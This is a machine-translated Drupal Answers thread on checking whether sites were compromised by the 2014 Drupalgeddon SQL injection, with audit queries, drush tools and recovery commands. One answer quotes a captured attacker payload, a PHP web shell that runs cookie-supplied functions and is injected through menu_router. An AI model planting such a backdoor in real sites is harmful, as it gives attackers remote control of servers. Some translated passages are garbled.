Drupal SA-CORE-2014-005-サーバー/サイトが侵害されたかどうかを確認する方法


40

Drupal SA-CORE-2014-005エクスプロイトを解決するパッチ方式を使用して、すべてのサイトを更新しました。私は昨日、ロシアのIPからdrupalサイトに侵入している人がいるという報告を読みました。

https://www.drupal.org/SA-CORE-2014-005

私の主な関心事は次のとおりです。

  • サイトが構成されているかどうかを確認するにはどうすればよいですか?
  • 私のサイトが被害者であったかどうかを検出するには、Apacheアクセスログで何を検索する必要がありますか?
  • これまでのところ、これらのハッカーは構成サイトに対して何をしているのでしょうか?

7
そのためのモジュールがありますdrupal.org/project/drupalgeddon
mikeytown2

100のdrupalサイトのエイリアスを設定していない場合はどうなりますか?あなたが見つけたいくつかの一般的なハックは何ですか?
パトシパトシ14


1
@duckx drupalgeddonモジュールのコードを確認すると、これらの一般的なハッキングが見つかります。明らかな理由から、悪意のあるユーザーがデータベースへのフルアクセスで行う可能性のあるすべての変更をリストすることはできません。彼らは作ることができますあらゆる種類のポイントのだDrupalのMySQLユーザが実行する権限を持っていることを変更し、。したがって、文字通り、確実に判断する唯一の方法は、現在のデータベースを既知の良好なバージョンと比較することです。あなたはそれが確実に、100%正確に、あなたのサイトが危険にさらされているかどうかを教えてくれるプッシュするボタンを探しているなら、あなたは:)私は怖い夢を見ている
クライヴ

Ducky:エイリアスが設定されておらず、100個のサイトがある場合、エイリアスを手動で処理するよりもエイリアスを設定する方が簡単ですか?自分でサイトのルートとURLのリストを取得すると、そこから一連のエイリアスを作成できます。
クリスバージェス14年

回答:


6

以下は、管理者権限を持つユーザーと、10月15日以降にサイトにアクセスしたユーザーを確認するためにサイトDBに対して実行できるSQLクエリです。

http://www.drupalden.co.uk/sql-queries-find-users-roles-admin-privileges-drupalgeddon-drupal-sa-core-2014-005


1
こんにちは、Drupal Answersへようこそ。提供されたページの小さな要約を提供することにより、回答を改善できます。
Wtower 14年

ところで、10月15日以降に作成されたユーザーを確認することをお勧めしcreatedます。これは、usersテーブルのフィールドを使用します。SQLを注入した人がフィールドの値を尊重することは保証されないため、このチェックはあまり役に立ちません。実際、名前による一般的なユーザーインジェクションは、drupaldev44週間前に作成されたと思われます。。これまで第二の推薦などとして、再びそれを注入し、ユーザーが実際にログインしていることが保証されていません
Wtower

29

この記事を読んで、エクスプロイトが上陸してから1か月以上たってDrupal 7サイトをチェックしたい場合、サイトはすでにハッキングされている可能性が高いです。最善の策は、攻撃が開始される前からバックアップを復元し、そこから作業することです。

SA-CORE-2014-005に関するFAQがあります。

サイトが危険にさらされているかどうかを確認するにはどうすればよいですか?

サイトが侵害されているかどうかをすばやく確認する1つの方法は、Drupalgeddon drushコマンドを使用することです。

あなたにインストールする~/.drushdrush dl drupalgeddon

その後drush drupalgeddon-test、テストに使用します。Drushエイリアスは、これを簡単かつ迅速にします。

このツールは、悪用されたサイトを確認できますが、サイトが悪用されなかったことを保証することはできません。攻撃が始まる前にアップグレードしない限り、ここには「正常な健康状態」はありません。


サイト監査モジュールには、Drupalgeddonからのチェックの一部が含まれており、はるかに有用な入力も提供します。強くお勧めします。(編集:今、彼らは一緒に動作します-超いい!)


セキュリティレビューは、Drupalgeddon攻撃をチェックしませんが、ツールベルトに含める価値があります。


サイトのコードベースがwwwユーザーに書き込み可能な場合、ハッキングされたモジュールを使用して、変更されたコードをさらに確認できます。このモジュールは、名前だけに基づいてあなたが考えることをしないかもしれません:)


侵害されたサイトをすべて特定する特定の方法はありませんが、これらのツールは最も一般的な兆候を特定するのに役立ちます。


私のサイトが被害者であったかどうかを検出するには、Apacheアクセスログで何を検索する必要がありますか?

アクセスログには、これまでに多くのPOSTリクエストが含まれます。バグの前にすべての投稿データをログに記録するという異常な手順を踏んでいない限り、これらのうちどれが悪意があるかを知るための情報を得ることはほとんどありません。

これまで、これらのハッカーは侵害されたサイトに対して何をしていましたか?

多くの人が、彼らのサイトがハッカーによって修正されていると報告しています!攻撃者としては、これは理にかなっています-新たにハイジャックされたサイトが、次の攻撃者によってあなたの下からむち打ちされるのは望ましくありません:)

それ以外に、サイトはそこにある貴重なデータを収集するために使用されていると思います(おそらく、いくつかの信用を取得し、悪用後に取引の詳細を持ち上げる可能性があります)。そして、攻撃者のハイジャックされたDrupalサイトの帝国をさらに拡大します。(申し訳ありませんが、観察するためのハッキングされたサイトはありません。)


明確にできますか?攻撃は常にPOSTリクエストで始まりますか?ログを調べてPOSTを探しています。私がパッチを適用した後、IP 62.76.191.119からのものを見つけました。
ランスオランダ14年

このエクスプロイトの被害者であるサイトがあり、攻撃者がそれを使用してサーバーから大量のスパムを送信したようです。
Cyclonecode 14

24

一般的な攻撃のチェックには次のものがあります(これは完全なリストではありませんが、これまでに見られた攻撃の一部です)。

  • ユーザー1アカウントをチェックして、ユーザー名、メールアドレス、またはパスワードが期待どおりであることを確認します。また、可能であれば、高レベルのアクセス許可を持つ他のユーザーアカウントも確認します。
  • 疑わしいと思われる新しいユーザーアカウントを確認します。
  • システム上の役割に対する変更(たとえば、新しい役割や名前が変更された役割など)を確認します。
  • 権限の変更を確認してください。これの最も重要な側面は、匿名ユーザーロール(または誰でもサインアップして取得できる他のロール)が変更されていないことを確認することです。
  • 悪意のあるコードを含む可能性のある新しいカスタムブロックを確認してください。
  • 悪意のあるコードを含む可能性のある新しいカスタムノードを確認します。
  • ファイルシステム上にあるべきではないファイルを確認します。バージョン管理を使用すると、git statusまたはsvn stを実行して新しいファイルがあるかどうかを確認できるため、これは簡単です。
  • 悪意のあるファイルをアップロードしている場合は、アクセスログで、なじみのない奇妙なファイル名へのヒットを確認できます。
  • 悪意のあるエントリがないか、メニュールーターデータベーステーブルを確認してください。たとえば(drupal.orgのdrupalgeddonモジュール/ drushプラグインには、このテーブルをより徹底的にチェックするための優れたスクリプトがあります):

    SELECT * FROM menu_router WHERE access_callback = 'file_put_contents';

  • また、メニュールーターテーブルを参照して、見苦しいエントリを探すこともできます。

ハッカーがやろうとしていることは次のとおりです。

  • phpスクリプトファイルをサイトに配置し、ブラウザで実行して実行できるようにします。これらのスクリプトは、さまざまな悪意のあることを実行できます。これは、悪意のあるメニュールーターエントリを追加することで実現されます。
  • 管理ユーザーアカウントを作成して、サイトに悪いことをしたり、サイトを乗っ取ったりするために使用します。
  • ユーザー1のメールアドレスを変更して、そのアカウントのパスワードをリセットして引き継ぐことができるようにします。
  • 一般にアクセス可能なユーザーロールのアクセス許可を変更します。
  • ブロック/ノード/などを追加します。悪意のあるコードが含まれている可能性があります。PHPフィルターを有効にしている場合、これはさらに大きな問題です。

残念ながら、攻撃者がデータベースに対してできることは非常に多いため、可能性の完全なリストを提供することは非常に困難です。彼らはあなたのサイトを制御しようとするかもしれませんし、あなたのサイトを壊してデータベースのテーブルやカラムなどを落とすこともできます。

サイト名の変更など、サイトの構成にごくわずかな変更を加えることさえできますが、これは世界の終わりではありませんが、依然として問題があります。

基本的に、SQLコマンドを実行することでデータベースでできることはすべて、攻撃者が理論的に行うことができます。

Chris Burgessの回答に記載されているすべてのモジュールは、これらのことを確認するのに非常に役立ちます。


1
62.76.191.119にヒットされている必要があります。通常、このIPは、menu_routerおよびその他の厄介なものをDB経由でdocrootにファイルを配置しようとしているように見えます。drupal.org/node/2357241でコメントを読むことができます。
2014年

私のサイトの調査がこれまでに示した限り、私は誰にも打撃を受けていません。これは、OPを支援するための単なる情報です。
ルービー14年

「メニュールーターのデータベーステーブルに悪意のあるエントリがないか確認する」方法は?CentOSサーバーでimを実行し、ルートを取得しています。
パトシパトシ14

データベースコマンド "SELECT * FROM menu_router"を実行し、それらすべてをトロールして、不自然な行をチェックできます。私の答えには、サーバーにファイルをアップロードするために使用されている既知の特定の攻撃を探す、より具体的なコマンドもあります。
ルービー14年

そのIP 62.76.191.119は、セキュリティ更新プログラムのリリース後1日以内に私のサイトの脆弱性を悪用しようとします。私はすべてのサイトから禁止しました。時間通りにサイトをアップグレードできたことは非常に幸運でした。アルファベット順でサイトにアクセスしていたため、奇妙でした。
cayerdis 14年

10

drupal.orgのアドバイスに沿って進むと思います。「発表後7時間であるUTC 10月15日午後11時までに更新またはパッチを適用しない限り、すべてのDrupal 7 Webサイトが侵害されたという前提で進めてください。」以下のようビーヴァンは、この中で述べてコメント「の更新やパッチ適用Drupalは、攻撃者が更新前のインストールやDrupalのにパッチを適用することをバックドアを固定していません。」

Bevanはまた、感染した可能性があるかどうか、および回復および防止する方法を分析するのに役立つ次のワークフローチャートを作成しました。ただし、元の記事にアクセスして、ワークフローの最新バージョンがあることを確認してください。また、Acquia はAcquia Cloudで経験した攻撃とパターンに関する興味深い記事を作成します

 脆弱かどうか、感染した可能性があるかどうか、および回復方法を理解するためのフローチャート


4

引用元:https : //www.drupal.org/node/2357241#comment-9258955

これは、menu_routerテーブルのaccess_callback列に挿入されるファイルの例です。

a:2:{i:0;s:22:"modules/image/vzoh.php";i:1;s:147:"<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();";}

ご覧のとおり、modules / image / vzoh.phpファイルを作成しようとしていますが、これらのディレクトリ内で読み取り権限しか持っていないため、phpは失敗します。

drupalディレクトリで検索を行って作成された同様のファイルを見つける人々のレポート:https : //www.drupal.org/node/2357241#comment-9260017


私がやったのは、次のコマンドを実行することでした:

ack --type = php 'php \ $ form'> hacked_searched_php_form1.txt

==================

引用元:http : //www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

ライブサーバー上で変更されたファイルの表示:git status

menu_routerを介したコード実行の試行を探します:access_callback = 'file_put_contents'のmenu_routerから*を選択します

どのファイルがバージョン管理ではなくライブサーバー上にあるかを示す:diff -r docroot repo | grep docroot | grep 'docrootのみ'

filesディレクトリでPHPファイルを見つける:find。-path "* php"

ユーザーがサイトにログインしてから最新のページにアクセスするまでの時間を確認する:select(s.timestamp-u.login)/ 60/60/24 AS days_since_login、u.uid from sessions s inner join users u on s.uid = u.uid;


3

妥協したかどうかを伝えるための非常に良いコマンドのリスト。

http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

Commands that help with auditing:

Showing files that have changed on the live server:

?
1
git status 
Looking for code execution attempts via menu_router:

?
1
select * from menu_router where access_callback = 'file_put_contents'
Another possible code execution attempt via menu_router:

?
1
select * from menu_router where access_callback = 'assert';
Showing which files are on the live server and not in version control:

?
1
diff -r docroot repo | grep 'Only in docroot'
Looking for PHP files in the files directory:

?
1
find . -path "*php"
Looking for additional roles and users:

?
1
2
select * from role
select * from users_roles where rid=123
Checking the amount of time between when a user logged into your site and their most recent page visit:

?
1
select (s.timestamp - u.login) / 60 / 60 / 24 AS days_since_login, u.uid from sessions s inner join users u on s.uid = u.uid;


Commands that can help with recovery:

Apply the patch. Hotfix: (SA-CORE-2014-005)

?
1
curl https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch | patch -p1
End active sessions, i.e log everyone out.

?
1
truncate table sessions;
Updating passwords:

?
1
update users set pass = concat('XYZ', sha(concat(pass, md5(rand()))));

1
個別の回答を与える代わりに、おそらく最初の回答を編集して追加情報を追加する必要がありますか?
Cyclonecode 14

弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.